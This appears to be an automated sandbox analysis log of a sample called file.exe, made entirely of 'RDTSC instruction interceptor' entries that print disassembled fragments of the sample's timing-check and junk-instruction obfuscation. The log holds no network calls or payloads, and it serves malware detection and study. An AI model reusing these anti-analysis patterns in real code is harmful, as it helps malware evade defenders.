Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469CF5 second address: 469CFF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A82F second address: 46A833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46AFBA second address: 46AFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46AFBE second address: 46AFDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4828F7EDE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D7DC second address: 46D7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BA98 second address: 46BAAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D7E3 second address: 46D889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c jmp 00007F4828E7045Dh 0x00000011 pop edi 0x00000012 pop ebx 0x00000013 nop 0x00000014 clc 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F4828E70458h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jmp 00007F4828E70465h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F4828E70458h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jmp 00007F4828E70460h 0x00000057 xor edi, dword ptr [ebp+122D2939h] 0x0000005d xchg eax, esi 0x0000005e jmp 00007F4828E7045Ah 0x00000063 push eax 0x00000064 push ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BAAC second address: 46BAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E765 second address: 46E769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E769 second address: 46E76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E76F second address: 46E775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E775 second address: 46E7FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F4828F7EDD8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D1A1Ch] 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 jmp 00007F4828F7EDDAh 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F4828F7EDD8h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 add di, 7F5Bh 0x00000058 stc 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jg 00007F4828F7EDD8h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46E7FF second address: 46E80A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F4828E70456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46F6E9 second address: 46F707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4828F7EDE9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47265B second address: 472662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 472E27 second address: 472E62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F4828F7EDD6h 0x00000009 jmp 00007F4828F7EDE3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jno 00007F4828F7EDDCh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4828F7EDDCh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474B2C second address: 474B61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, ecx 0x0000000d push 00000000h 0x0000000f jmp 00007F4828E70462h 0x00000014 push 00000000h 0x00000016 jmp 00007F4828E7045Dh 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474B61 second address: 474B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474B67 second address: 474B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F4828E70468h 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475B2B second address: 475BAE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F4828F7EDD8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov edi, 177E1F37h 0x0000002d mov bl, A5h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F4828F7EDD8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D296Dh] 0x00000051 push 00000000h 0x00000053 xchg eax, esi 0x00000054 jns 00007F4828F7EDDEh 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 jmp 00007F4828F7EDE4h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474E41 second address: 474E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F4828E7045Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476BF7 second address: 476C63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4828F7EDE7h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e add ebx, 42B32C41h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F4828F7EDD8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 js 00007F4828F7EDDCh 0x00000036 mov dword ptr [ebp+122D1F43h], ecx 0x0000003c push 00000000h 0x0000003e movsx ebx, si 0x00000041 xchg eax, esi 0x00000042 jne 00007F4828F7EDE0h 0x00000048 push eax 0x00000049 pushad 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476C63 second address: 476C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475CFE second address: 475D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477CB8 second address: 477CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478DBF second address: 478DC5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478DC5 second address: 478E22 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4828E70458h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b and edi, dword ptr [ebp+12458D60h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F4828E70458h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d clc 0x0000002e push 00000000h 0x00000030 call 00007F4828E70465h 0x00000035 sub dword ptr [ebp+122D1F60h], edi 0x0000003b pop ebx 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E22 second address: 478E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E26 second address: 478E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E2C second address: 478E43 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4828F7EDD8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F4828F7EDD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E43 second address: 478E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E47 second address: 478E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478E4D second address: 478E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479F3D second address: 479F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47AF48 second address: 47AF52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47AF52 second address: 47AFCB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F4828F7EDD8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D1B49h] 0x0000002e jne 00007F4828F7EDDEh 0x00000034 mov bl, A9h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F4828F7EDD8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 add ebx, dword ptr [ebp+122D1F66h] 0x00000058 sbb bx, 986Ch 0x0000005d push 00000000h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jc 00007F4828F7EDD8h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477DBF second address: 477DD4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d jng 00007F4828E7045Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477DD4 second address: 477DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4828F7EDE8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A103 second address: 47A113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A113 second address: 47A117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C166 second address: 47C1DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70460h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D2FD9h] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F4828E70458h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov bx, cx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d jnl 00007F4828E7045Bh 0x00000043 mov eax, dword ptr [ebp+122D04B9h] 0x00000049 mov ebx, 50C78396h 0x0000004e push FFFFFFFFh 0x00000050 mov ebx, dword ptr [ebp+122D208Ah] 0x00000056 sbb di, BDB3h 0x0000005b push eax 0x0000005c js 00007F4828E70464h 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480180 second address: 480187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480187 second address: 480199 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4828E7045Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E147 second address: 47E151 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E151 second address: 47E157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E157 second address: 47E17B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4895EB second address: 4895F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488CD5 second address: 488CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488CD9 second address: 488CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4828E7045Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488E9B second address: 488EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDEh 0x00000007 jmp 00007F4828F7EDE4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488EC1 second address: 488ECB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4828E7045Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488ECB second address: 488ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4953AE second address: 4953B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4953B2 second address: 4953C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F4828F7EDDEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46839E second address: 4683BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4828E7045Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49610F second address: 49612C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49612C second address: 49613B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ah 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496403 second address: 496407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496407 second address: 49640D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49640D second address: 496475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F4828F7EDE7h 0x0000000d jmp 00007F4828F7EDE8h 0x00000012 jmp 00007F4828F7EDDCh 0x00000017 popad 0x00000018 jmp 00007F4828F7EDDEh 0x0000001d jmp 00007F4828F7EDE2h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C204 second address: 49C212 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4828E7045Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C212 second address: 49C21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01E second address: 49B022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B149 second address: 49B14D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2BA second address: 49B2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2C5 second address: 49B2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2CB second address: 49B2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2D1 second address: 49B2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2D5 second address: 49B2D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B2D9 second address: 49B2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F4828F7EDD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B8BE second address: 49B8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BB4D second address: 49BB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007F4828F7EDE5h 0x0000000b jl 00007F4828F7EDD6h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49BB75 second address: 49BB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DDDE second address: 44DDF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828F7EDE7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DDF9 second address: 44DE2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E70462h 0x00000007 jmp 00007F4828E70463h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jo 00007F4828E70456h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DE2B second address: 44DE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DE33 second address: 44DE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E7045Ch 0x00000009 jmp 00007F4828E70461h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AA49 second address: 49AA7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE3h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F4828F7EDE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5806 second address: 4A5827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E70469h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5827 second address: 4A582F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A582F second address: 4A5839 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4828E7045Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
